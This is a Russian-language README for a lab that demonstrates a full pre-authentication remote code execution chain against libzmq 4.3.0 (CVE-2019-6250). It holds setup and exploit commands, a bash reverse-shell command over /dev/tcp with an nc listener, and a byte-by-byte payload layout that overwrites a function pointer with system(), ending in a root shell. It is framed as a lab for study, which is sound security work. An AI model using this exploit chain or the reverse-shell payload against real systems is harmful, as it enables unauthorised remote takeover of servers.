
Сквозная лаборатория RCE до аутентификации для CVE-2019-6250 (libzmq <= 4.3.0, протокол ZMTP/2.0)
Сквозная рабочая цепочка RCE + воспроизводимый лабораторный стенд для CVE-2019-6250 — heap-buffer-overflow до аутентификации в v2_decoder_t::size_ready из libzmq. Переполнение при арифметике указателей uint64_t позволяет неаутентифицированному пиру перезаписать соседний указатель на функцию msg_t::content_t::ffn на сетевом пути ZMTP/2.0, а затем запустить его через закрытие TCP-сокета → ~v2_decoder_t() → _in_progress.close() → system(cmd).
Автор: Nicolas Krassas (@dinosn).
Только для лаборатории. В комплект входит намеренно уязвимый libzmq 4.3.0. Не открывайте порт 5555 за пределами лаборатории. Ошибка была исправлена семь лет назад в libzmq 4.3.1 (коммит
1a2ed127).
system() — доказательство через файл


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# terminal 1 — listener
nc -lvnp 4444
# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
Вы должны увидеть что-то вроде:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
Строка cannot set terminal process group (1355844) подтверждает, что оболочка была порождена целевым процессом libzmq (PID 1355844), а не чем-то, что вы запускали локально.
.
├── README.md # you are here
├── server.c # tiny PULL listener — the vulnerable target
├── exploit.py # full RCE chain
├── setup.sh # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh # start/restart the target
├── read_addresses.sh # regenerate the address profile for a different image
├── run_lab_test.sh # automated end-to-end smoke test (CI-friendly)
├── Dockerfile # one-command containerised lab
└── screenshots/ # README screenshots (generated with charmbracelet/freeze)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_ — это контролируемый атакующим big-endian uint64_t из заголовка LARGE-фрейма ZMTP/2.0. При msg_size_ = 0xFFFFFFFFFFFFFFFF сумма read_pos_ + msg_size_ переполняется по модулю 2⁶⁴ и оказывается меньше правой части. Проверка границ возвращает false → выполнение попадает в путь zero-copy → сообщение _in_progress алиасит приёмный буфер. Затем декодер запрашивает у ядра ещё 0xFFFFFFFFFFFFFFFF байт по адресу read_pos_, и recv() послушно записывает наш пейлоад за конец приёмного буфера в соседний массив content_t[] (выделенный в том же malloc()-чанке в decoder_allocators.cpp:88).
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
Мы отправляем 8224 байта пейлоада следующей структуры:
| смещение в пейлоаде | байты | что перезаписывается |
|---|---|---|
[0:16] | заполнение | (в приёмном буфере) |
[16:K] | строка команды + NUL | (в приёмном буфере — аргумент system) |
[K:8183] | заполнение | (в приёмном буфере) |
[8183:8191] | read_pos+16 | content_t[0].data (→ команда) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (цель перехвата управления) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
Когда мы закрываем TCP-сокет, ~v2_decoder_t() на сервере вызывает _in_progress.close(). В msg_t::close:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage устанавливает _u.zclmsg.flags = 0, поэтому OR-сокращение сразу выбирает эту ветвь — refcnt даже не проверяется. Наш перезаписанный ffn выполняется.
Никакого ROP, шеллкода и утечек информации: только одно разрешение символа libc и одна встроенная строка команды.
v2_decoder_t до аутентификацииСмотрим на stream_engine.cpp:707:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
Путь ZMTP/2.0 создаёт экземпляр v2_decoder_t без механизма. Только ZAP отклоняет подключения 2.0, а ZAP по умолчанию выключен. Как только пир отправляет 12-байтовое приветствие ZMTP/2.0 (0xff + 8 нулей + 0x7f + версия 0x01 + тип сокета), все последующие байты разбираются через v2_decoder_t. Никакой аутентификации. Никакого рукопожатия. Никакого конечного автомата механизма.
Опционально: соберите с -fsanitize=address и посмотрите отчёт о heap-buffer-overflow:

Сообщение 0 bytes after 18160-byte region подтверждает вычисленный размер чанка: 8 (atomic_counter) + 8192 (recv buffer) + 249 × 40 (массив content_t) = 18160. Место выделения в handshake_v2_0:719 подтверждает, что ошибка срабатывает на пути ZMTP/2.0 до аутентификации.